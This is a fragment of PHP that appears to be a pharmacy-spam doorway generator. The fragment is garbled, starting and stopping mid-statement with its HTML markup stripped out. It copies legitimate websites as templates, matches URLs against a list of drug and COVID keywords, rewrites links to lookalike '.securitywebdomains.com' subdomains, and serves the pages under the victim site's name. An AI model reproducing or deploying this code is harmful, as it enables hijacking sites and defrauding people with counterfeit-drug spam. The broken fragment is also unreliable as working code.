',trim($dopkey_ar[0])).''; } else { $preready_link = '',trim($dopkey_ar[0])).''; } //if(strpos($preready_link,$link_title)!==FALSE){ if($anchor == $old_anchor){ $dopank = file('/var/www/www-root/data/www/bot-master.com/startup/txtX/dopank.txt'); shuffle($dopank); $link_title = trim($dopank[0]).' '.$link_title.' '.trim($dopank[1]); } $ready_link = str_replace('#TITLE#',$link_title,$preready_link); if(strpos($ready_link,$srvcc)==FALSE){ $ready_link = str_replace('">'.$old_anchor.'','">'.$anchor.'',$ready_link); } return $ready_link; } if (isset($link_for_pars)) { unset($link_for_pars); } $load = $_POST['refxa']; $srv = $_POST['srva']; //$load = 'eastwest.eu/?s=Vendita+di+cialis+generico+-+Farmacia+online+dal+Canada,+acquista+farmaci+generici'; //$srv = 'eastwest.eu'; if(strpos($load,'s=')!==FALSE) { $load = str_replace(' ','+',$load); } $srv = trim($srv); $ssilka = str_replace('www.','',$load); $srvcc = str_ireplace("www.","",$srv); $srvcc = trim($srvcc); $pgname = md5(trim($ssilka)); /* $log_write = fopen ('dkeys_log.txt','a'); fwrite($log_write,$ssilka."\n"); fclose($log_write); */ if ($srv == '') { die("empty"); } if(!is_dir('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/')) { mkdir ('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/',0777); } $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $proverka_array = explode("\n",$proverka); $new_prov = Array(); $lang = ''; if(strpos($proverka,'rezeptpflichtig')!==FALSE OR strpos($proverka,'berlin')!==FALSE){ $lang = '_de'; } if(strpos($proverka,'prescrizione') !==FALSE){ $lang = '_it'; } if(strpos($proverka,'marseille')!==FALSE){ $lang = '_fr'; } if(strpos($proverka,'receptforsaljning')!==FALSE OR strpos($proverka,'receptförsäljning')!==FALSE){ $lang = '_se'; } if(strpos($proverka,'rotterdam')!==FALSE){ $lang = '_nl'; } if(strpos($proverka,'alicante')!==FALSE){ $lang = '_es'; } foreach($proverka_array as $proverka_string) { $new_arr = explode('####',$proverka_string); $new_prov[] = $new_arr[0]; } if (in_array('http://'.$ssilka,$new_prov) == FALSE){ $site_page = getFakePage('http://'.$ssilka,"FSNET",$time); if ($site_page = '' OR strlen($site_page)<5) { $site_page = getFakePage('http://www.'.$ssilka,"FSNET",$time); } echo $site_page; exit; } if (is_file('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html')) { $contents = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/themes/pages_new/'.$srvcc.'/'.$pgname.'_pg.html'); $contents = str_replace('http://','http://www.',$contents); $contents = str_replace('https://','https://www.',$contents); $contents = str_replace('www.www.','www.',$contents); $contents = str_replace('/wp-includes/images/','/wp-content/uploads/images/',$contents); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $contents = str_replace('www.'.$srvcc,$srvcc,$contents); } echo $contents; exit; } //if (stripos($proverka,$ssilka)!== FALSE){ if (in_array('http://'.$ssilka,$new_prov)){ $keys = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $arr = explode("\n",$keys); $x = 0; while (!isset($our_link)) { if (strpos($arr[$x],$ssilka)!==FALSE){ $our_link = $arr[$x]; } $x++; } $arr3 = explode("####",$our_link); $new_url = parse_url('http://'.$ssilka); $link_for_pars = 'http://'.$new_url['host'].'.securitywebdomains.com/'.str_replace(' ','-',trim($arr3[1])).'/'; $head = trim($arr3[1]); } elseif (preg_match('/tadalafil|coronavirus|covid|sildenafil|kaletra|aralen|chloroquine|plaquenil|vardenafil|viagra|cialis|levitra|amoxil|strattera|synthroid|prescription|pharmacy|cipro|clomid|diflucan|doxycycline|eriacta|flagyl|glucophage|kamagra|lasix|nolvadex|orlistat|priligy|propecia|proscar|silagra|ventolin|xenical|zithromax|zovirax/i',$ssilka)) { $link_for_pars = 'http://'.str_replace($srvcc,$srvcc.'.securitywebdomains.com',$ssilka); $head = str_replace($srvcc.'/','',$ssilka); $head = str_replace('/','',$head); $head = str_replace('-',' ',$head); } if (is_file('/var/www/www-root/data/www/bot-master.com/startup/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html')) { $shabfile = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/themes/doors-tpl_seodor/'.$srvcc.'_tpl.html'); } else { //die("TemplateError"); $shabfile = getFakePage('http://'.$srvcc,"DAJKATEMKU",$timeout); if (strpos($shabfile,'#####TEXT#####')===FALSE) { $shabfile = getFakePage('https://'.$srvcc,"DAJKATEMKU",$timeout); } if (strpos($shabfile,'#####TEXT#####')===FALSE) { $shabfile = getFakePage('https://www.'.$srvcc,"DAJKATEMKU",$timeout); } if (strpos($shabfile,'#####TEXT#####')===FALSE) { $shabfile = getFakePage('https://www.'.$srvcc,"DAJKATEMKU",$timeout); } $edited_shablon = explode('#####ID#####',$shabfile); $shabfile = $edited_shablon[2]; $P1E = "']*?>.*?

'si"; $FIG = "'
'si"; $IMG = "''si"; $H1E = "']*?>.*?'si"; $H2E = "']*?>.*?'si"; $H3E = "']*?>.*?'si"; $H4E = "']*?>.*?'si"; $shabfile = str_replace('','###HTTPS###',$shabfile); //$shabfile = preg_replace($P1E, '', $shabfile); $shabfile = preg_replace($FIG, '', $shabfile); $shabfile = preg_replace($H1E, '', $shabfile); $shabfile = preg_replace($H2E, '', $shabfile); $shabfile = preg_replace($H3E, '', $shabfile); $shabfile = preg_replace($H4E, '', $shabfile); $shabfile = str_replace('

#####TEXT#####

', '#####TEXT#####', $shabfile); $dfile_goog = preg_match_all("#',$new_content); /* $dfile_x = preg_match_all("##iU", $new_content, $out2); foreach($out2[1] as $li){ $our_site = 0; unset($link_new_url); $li = trim($li); if (strpos($li,'https://')===FALSE){ $newli = explode('http://',$li); } else { $newli = explode('https://',$li); } $newli2 = explode('"',$newli[1]); $newlink = $newli2[0]; $newlink = str_replace('www.','',$newlink); if (strpos($newlink,$srvcc)!==FALSE){ $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$srvcc.'.txt'); $our_site = 1; } else { $link_file = parse_url('http://'.$newlink); $link_new_url = trim($link_file['host']); $proverka = file_get_contents('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$link_new_url.'.txt'); } if (isset($link_new_url) AND is_file('/var/www/www-root/data/www/bot-master.com/startup/txtX/newkeys/'.$link_new_url.'.txt')){ $old_link = parse_url('http://'.$newlink, PHP_URL_PATH); $old_link = str_replace('/','',$old_link); $old_link = trim(str_replace('-',' ',$old_link)); if (strpos($proverka,$old_link)!==FALSE){ $zamena1 = explode('####'.$old_link,$proverka); $zamena12 = explode("\n",$zamena1[0]); $zamena_end = trim($zamena12[count($zamena12)-1]); $new_content = str_replace('http://'.$newlink,$zamena_end,$new_content); } } elseif ($our_site == 1 AND strpos($newlink,$srvcc)!==FALSE) { $old_link = parse_url('http://'.$newlink, PHP_URL_PATH); $old_link = str_replace('/','',$old_link); $old_link = trim(str_replace('-',' ',$old_link)); if (strpos($proverka,$old_link)!==FALSE){ $zamena1 = explode('####'.$old_link,$proverka); $zamena12 = explode("\n",$zamena1[0]); $zamena_end = trim($zamena12[count($zamena12)-1]); $new_content = str_replace('http://'.$newlink,$zamena_end,$new_content); } } if (strpos($proverka,$newlink)!==FALSE){ $old_ank = explode('">',$li); $old_ank2 = explode('',$old_ank[1]); $zamena1 = explode($newlink.'####',$proverka); $zamena12 = explode("\n",$zamena1[1]); $zamena_end = trim($zamena12[0]); $new_content = str_replace($newlink.'">'.$old_ank2[0],$newlink.'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title ="'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title ="'.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title="'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title="'.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); $new_content = str_replace($newlink.'" title = "'.$old_ank2[0].'">'.$old_ank2[0],$newlink.'" title= " '.ucfirst($zamena_end).'">'.ucfirst($zamena_end),$new_content); } } */ $new_content = str_replace('bot-master.com',$srvcc,$new_content); $new_content = str_replace('http://','http://www.',$new_content); $new_content = str_replace('https://','https://www.',$new_content); $new_content = str_replace('www.www.','www.',$new_content); $nowww_array = explode("\n",file_get_contents('txtX/nowww.txt')); if (in_array($srvcc,$nowww_array)){ $new_content = str_replace('www.'.$srvcc,$srvcc,$new_content); } echo $new_content; if ($new_content<>'empty' || $new_content<>'